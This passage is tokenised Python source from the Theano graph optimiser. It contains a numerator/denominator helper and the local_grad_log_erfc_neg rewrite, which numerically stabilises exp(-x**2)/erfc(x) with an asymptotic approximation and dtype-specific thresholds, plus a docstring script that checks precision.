"list_", "._", "\\u\\u", "iad", "d\\u\\u_", ",_", "map_", "(_", "operator_", "._", "itemgetter_", "(_", "0_", ")_", ",_", "pairs_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "den", "um_", "=_", "reduce_", "(_", "list_", "._", "\\u\\u", "iad", "d\\u\\u_", ",_", "map_", "(_", "operator_", "._", "itemgetter_", "(_", "1_", ")_", ",_", "pairs_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "parent_", "._", "op_", "==_", "self_", "._", "inverse_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "have", " ", "inv", "erse", "(", "x", ",", " ", "y", "),", " ", "num", "x", ",", " ", "den", "um", "x", ",", " ", "num", "y", " ", "and", " ", "den", "um", "y_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "then", " ", "num", " ", "is", " ", "conc", "at", "(", "num", "x", ",", " ", "den", "um", "y", ")", " ", "and", " ", "den", "um", " ", "is_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "conc", "at", "(", "den", "um", "x", ",", " ", "num", "y", ")", " ", "note", " ", "tha", "t", " ", "inv", "erse", "()", " ", "is", " ", "binary_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num_", "=_", "pairs_", "[_", "0_", "]_", "[_", "0_", "]_", "+_", "pairs_", "[_", "1_", "]_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "den", "um_", "=_", "pairs_", "[_", "0_", "]_", "[_", "1_", "]_", "+_", "pairs_", "[_", "1_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "parent_", "._", "op_", "==_", "self_", "._", "reciproc", "al_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "have", " ", "reciproc", "al", "(", "x", "),", " ", "num", "x", ",", " ", "den", "um", "x_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "then", " ", "num", " ", "is", " ", "den", "um", "x", " ", "and", " ", "den", "um", " ", "is", " ", "num", "x_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "note", " ", "tha", "t", " ", "reciproc", "al", "()", " ", "is", " ", "unary_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "num_", "=_", "pairs_", "[_", "0_", "]_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "den", "um_", "=_", "pairs_", "[_", "0_", "]_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "num_", ",_", "den", "um_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "register", "\\u", "stab", "iliz", "e_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "register", "\\u", "specialize", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "@_", "gof", "_", "._", "local", "\\u", "optimizer_", "(_", "[_", "T_", "._", "true", "\\u", "div_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "local", "\\u", "grad", "\\u", "log", "\\u", "erf", "c\\u", "neg_", "(_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "node_", "._", "op_", "!=_", "T_", "._", "true", "\\u", "div_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "node_", "._", "inputs_", "[_", "1_", "]_", "._", "owner_", "or_", "node_", "._", "inputs_", "[_", "1_", "]_", "._", "owner_", "._", "op_", "!=_", "T_", "._", "erf", "c_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "erf", "c_", "=_", "node_", "._", "inputs_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "erf", "c\\u", "x_", "=_", "erf", "c_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "node_", "._", "inputs_", "[_", "0_", "]_", "._", "owner_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "mul", " ", "is", " ", "option", "al", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "node_", "._", "inputs_", "[_", "0_", "]_", "._", "owner_", "._", "op_", "!=_", "T_", "._", "mul_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mul_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "node_", "._", "inputs_", "[_", "0_", "]_", "._", "owner_", "or_", "node_", "._", "inputs_", "[_", "0_", "]_", "._", "owner_", "._", "op_", "!=_", "T_", "._", "exp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "exp_", "=_", "node_", "._", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mul_", "=_", "node_", "._", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "idx_", ",_", "inp_", "in_", "enumerate_", "(_", "mul_", "._", "owner_", "._", "inputs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "inp_", "._", "owner_", "and_", "inp_", "._", "owner_", "._", "op_", "==_", "T_", "._", "exp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exp_", "=_", "inp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "mul_", "._", "owner_", "._", "inputs_", ")_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "y_", "=_", "[_", "mul_", "._", "owner_", "._", "inputs_", "[_", "1_", "-_", "idx_", "]_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "y_", "=_", "mul_", "._", "owner_", "._", "inputs_", "[_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "y_", "[_", "idx_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "del_", "mul_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "exp_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "._", "owner_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "exp_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "._", "owner_", "._", "op_", "==_", "T_", "._", "neg_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "neg_", "=_", "exp_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "not_", "neg_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "._", "owner_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "neg_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "._", "owner_", "._", "op_", "!=_", "T_", "._", "sqr", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sqr", "_", "=_", "neg_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "sqr", "_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "exp_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "._", "owner_", "._", "op_", "==_", "T_", "._", "mul_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "shou", "ld", " ", "compare", " ", "tha", "t", " ", "-(", "erf", "c\\u", "x", "**", "2", ")", " ", "is", " ", "equivalent", " ", "to", " ", "mul", "\\u", "neg", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", " ", "is", " ", "currentl", "y", " ", "no", " ", "easy", " ", "way", " ", "to", " ", "do", " ", "this", " ", "in", " ", "the", " ", "genera", "l", " ", "case", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "so", " ", "we", " ", "implement", " ", "some", " ", "common", " ", "case", " ", "for", " ", "now", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "In", " ", "many", " ", "case", "s", " ", "the", " ", "neg", " ", "are", " ", "replaced", " ", "by", " ", "mul", " ", "in", " ", "the", " ", "graph", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "als", "o", " ", "allow", "s", " ", "to", " ", "stab", "iliz", "e", " ", "log", "(", "erf", "c", "(", "cst", "*", "x", "))", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mul", "\\u", "neg_", "=_", "exp_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "In", " ", "case", " ", "tha", "t", " ", "multiple", " ", "mul", " ", "are", " ", "not", " ", "fused", " ", "tog", "ether", ",", " ", "we", " ", "do", " ", "it", " ", "here", "._", "\\u\\u\\uNL\\u\\u\\u_", "def_", "check", "\\u", "input_", "(_", "inputs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "new", "\\u", "inputs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", "in_", "inputs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "._", "owner_", "and_", "i_", "._", "owner_", "._", "op_", "==_", "T_", "._", "mul_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "new", "\\u", "inputs_", "._", "extend_", "(_", "check", "\\u", "input_", "(_", "i_", "._", "owner_", "._", "inputs_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "new", "\\u", "inputs_", "._", "append_", "(_", "i_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "new", "\\u", "inputs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mul", "\\u", "inputs_", "=_", "check", "\\u", "input_", "(_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Put", " ", "the", " ", "constant", " ", "first", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "len_", "(_", "mul", "\\u", "inputs_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "i_", ",_", "Constant_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "i_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "tmp_", "=_", "mul", "\\u", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mul", "\\u", "inputs_", "[_", "0_", "]_", "=_", "mul", "\\u", "inputs_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mul", "\\u", "inputs_", "[_", "i_", "]_", "=_", "tmp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mul", "\\u", "neg_", "=_", "T_", "._", "mul_", "(_", "*_", "mul", "\\u", "inputs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cst", "2_", "=_", "get", "\\u", "scala", "r", "\\u", "constant", "\\u", "value_", "(_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Not", "Scala", "r", "Const", "ant", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", ")_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "not_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", "[_", "1_", "]_", "._", "owner_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", "[_", "1_", "]_", "._", "owner_", "._", "op_", "!=_", "T_", "._", "sqr", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sqr", "_", "=_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x_", "=_", "sqr", "_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "len_", "(_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", ")_", "==_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", "[_", "1_", "]_", "is_", "not_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", "[_", "2_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x_", "=_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cst", "2_", "!=_", "-_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "not_", "erf", "c\\u", "x_", "._", "owner_", "or_", "erf", "c\\u", "x_", "._", "owner_", "._", "op_", "!=_", "T_", "._", "mul_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "erf", "c\\u", "x_", "._", "owner_", "._", "inputs_", ")_", "!=_", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "todo", " ", "implement", " ", "tha", "t", " ", "case_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "erf", "c\\u", "x_", "._", "owner_", "._", "inputs_", "[_", "1_", "]_", "is_", "not_", "mul", "\\u", "neg_", "._", "owner_", "._", "inputs_", "[_", "1_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x_", "=_", "erf", "c\\u", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cst", "_", "=_", "get", "\\u", "scala", "r", "\\u", "constant", "\\u", "value_", "(_", "erf", "c\\u", "x_", "._", "owner_", "._", "inputs_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Not", "Scala", "r", "Const", "ant", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "cst", "2_", "!=_", "-_", "cst", "_", "*_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "constant", " ", "is", " ", "valid", ".", " ", "Mus", "t", " ", "check", " ", "tha", "t", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "erf", "c\\u", "x_", "is_", "not_", "x_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hasattr_", "(_", "node_", "._", "tag_", ",_", "'", "local", "\\u", "grad", "\\u", "log", "\\u", "erf", "c\\u", "neg", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "use", " ", "tha", "t", " ", "flag", " ", "to", " ", "don", "'", "t", " ", "appl", "y", " ", "the", " ", "optimization", " ", "recurs", "ively", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "we", " ", "move", " ", "the", " ", "y", " ", "outsi", "de", " ", "the", " ", "div", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "true", "\\u", "div", "\\u", "no", "\\u", "mul_", "=_", "T_", "._", "true", "\\u", "div_", "(_", "exp_", ",_", "erf", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "true", "\\u", "div", "\\u", "no", "\\u", "mul_", "._", "owner_", "._", "tag_", "._", "local", "\\u", "grad", "\\u", "log", "\\u", "erf", "c\\u", "neg_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "aar", "on", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "stab", "\\u", "value_", "=_", "(_", "x_", "*_", "T_", "._", "pow_", "(_", "1_", "-_", "1_", "/_", "(_", "2_", "*_", "(_", "x_", "**_", "2_", ")_", ")_", "+_", "\\u\\u\\uNL\\u\\u\\u_", "3_", "/_", "(_", "4_", "*_", "(_", "x_", "**_", "4_", ")_", ")_", "-_", "15_", "/_", "(_", "8_", "*_", "(_", "x_", "**_", "6_", ")_", ")_", ",_", "-_", "1_", ")_", "*_", "\\u\\u\\uNL\\u\\u\\u_", "T_", "._", "cast_", "(_", "T_", "._", "sqrt_", "(_", "numpy_", "._", "pi_", ")_", ",_", "dtype_", "=_", "x_", "._", "dtype_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "x_", "._", "dtype_", "==_", "'", "float", "32", "'_", "or_", "x_", "._", "dtype_", "==_", "'", "float1", "6", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "threshold_", "=_", "9.3", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "threshol", "d", " ", "=", " ", "10.1", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "x_", "._", "dtype_", "==_", "'", "float", "64", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "threshold_", "=_", "26.", "641", "747", "557", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ret_", "=_", "T_", "._", "switch_", "(_", "x_", "<_", "threshold_", ",_", "true", "\\u", "div", "\\u", "no", "\\u", "mul_", ",_", "stab", "\\u", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "y_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ret_", "=_", "T_", "._", "mul_", "(_", "ret_", ",_", "*_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ret_", "._", "tag_", "._", "values", "\\u", "eq", "\\u", "approx_", "=_", "values", "\\u", "eq", "\\u", "approx", "\\u", "remove", "\\u", "inf", "\\u", "nan_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "ret_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "The", " ", "libm", " ", "used", " ", "for", " ", "the", " ", "test", " ", "is", " ", "am", "dlib", "m", "\\", "10", ";", " ", " ", " ", " ", "#(", "[", "y", "*]", "exp", "(-", "(", "x", "**", "2", ")))", "/", "erf", "c", "(", "x", ")", " ", "#", " ", "The", " ", "mul", " ", "is", " ", "option", "al", "\\", "10", ";", "#", "exp", "(", "x", "**", "2", ")/", "erf", "c", "(-", "x", ")", " ", "=>", " ", "whe", "n", " ", "x", ">", "thr", "eas", "hold", ",", "\\", "10", ";", "#-", "x", "*(", "1", "-1", "/(", "2", "*", "x", "**", "2", ")+", "3", "/(", "4", "*", "x", "**", "4", ")-", "15", "/(", "8", "*", "x", "**", "6", "))", "*", "sqrt", "(", "pi", ")", " ", "for", " ", "float", "64", ":", "\\", "10", ";", "#", "threshol", "d", "=", "26.", "6", "3", " ", "see", " ", "belo", "w", " ", "for", " ", "float", "32", ":", " ", "threshol", "d", "=", "9.3", " ", "see", " ", "belo", "w", " ", "TOD", "O", "\\", "10", ";", "#", "remove", " ", "the", " ", "contra", "int", " ", "tha", "t", " ", "there", " ", "are", " ", "only", " ", "2", " ", "inputs", " ", "to", " ", "mul", " ", "TOD", "O", ":", " ", "shou", "ld", "\\", "10", ";", "#", "we", " ", "cast", " ", "nump", "y", ".", "pi", " ", "to", " ", "x", ".", "dt", "ype", "?", "\\", "10", ";", "\\", "10", ";", "#", "float", "32", " ", "threshol", "d", " ", "9.3", " ", "as", " ", "the", " ", "approx", "imat", "ion", " ", "is", " ", "more", " ", "precise", " ", "at", " ", "tha", "t", "\\", "10", ";", "#", "point", " ", "and", " ", "more", " ", "stable", ".", "\\", "10", ";", "import", " ", "nump", "y", ",", " ", "sci", "py", ".", "special", "\\", "10", ";", "r", " ", "=", " ", "nump", "y", ".", "aran", "ge", "(", "9", ",", "10.", "0", "6", ",.", "01", ")", "\\", "10", ";", "\\", "10", ";", "p6", "4", "=[", "(", "nump", "y", ".", "exp", "(-", "(", "x", "**", "2", ")))", "/", "sci", "py", ".", "special", ".", "erf", "c", "(", "x", ")", " ", "for", " ", "x", " ", "in", " ", "r", "]", "\\", "10", ";", "p3", "2", "=[", "(", "nump", "y", ".", "exp", "(-", "(", "x", "**", "2", ")))", "/", "sci", "py", ".", "special", ".", "erf", "c", "(", "x", ")", " ", "for", " ", "x", " ", "in", "\\", "10", ";", "nump", "y", ".", "asa", "rray", "(", "r", ",", "dt", "ype", "='", "float", "32", "')]", "\\", "10", ";", "a6", "4", "=[", "x", "*(", "(", "1", "-1", "/(", "2", "*", "x", "**", "2", ")+", "3", "/(", "4", "*", "x", "**", "4", ")-", "15", "/(", "8", "*", "x", "**", "6", "))", "**", "(-", "1", "))", "*", "nump", "y", ".", "sqrt", "(", "nump", "y", ".", "pi", ")", "\\", "10", ";", "for", " ", "x", " ", "in", " ", "r", "]", "\\", "10", ";", "a3", "2", "=[", "x", "*(", "(", "1", "-1", "/(", "2", "*", "x", "**", "2", ")+", "3", "/(", "4", "*", "x", "**", "4", ")-", "15", "/(", "8", "*", "x", "**", "6", "))", "**", "(-", "1", "))\\", "10", ";", " ", "*", " ", "nump", "y", ".", "float", "32", "(", "nump", "y", ".", "sqrt", "(", "nump", "y", ".", "pi", "))\\", "10", ";", "for", " ", "x", " ", "in", " ", "nump", "y", ".", "asa", "rray", "(", "r", ",", "dt", "ype", "='", "float", "32", "')]", " ", "for", " ", "idx", ",(", "a", ",", "b", ",", "c", ",", "d", ",", "e", ")", " ", "in", "\\", "10", ";", "enumerate", "(", "zip", "(", "r", ",", "p6", "4", ",", "p3", "2", ",", "a6", "4", ",", "a3", "2", "))", ":", "print", "\\", "10", ";", "a", ",", "b", ",", "c", ",", "d", ",", "e", ",", "c", "-", "b", ",", "e-", "b", ",", "nump", "y", ".", "abs", "olute", "(", "c", "-", "b", ")<", "nump", "y", ".", "abs", "olute", "(", "e-", "b", ")", "\\", "10", ";", "\\", "10", ";", "#", ",", " ", "show", " ", "tha", "t", " ", "the", " ", "value", " ", "don", "'", "t", " ", "look", " ", "stable", " ", "at", " ", "some", " ", "point", " ", "bef", "ore", " ", "inf", ".", 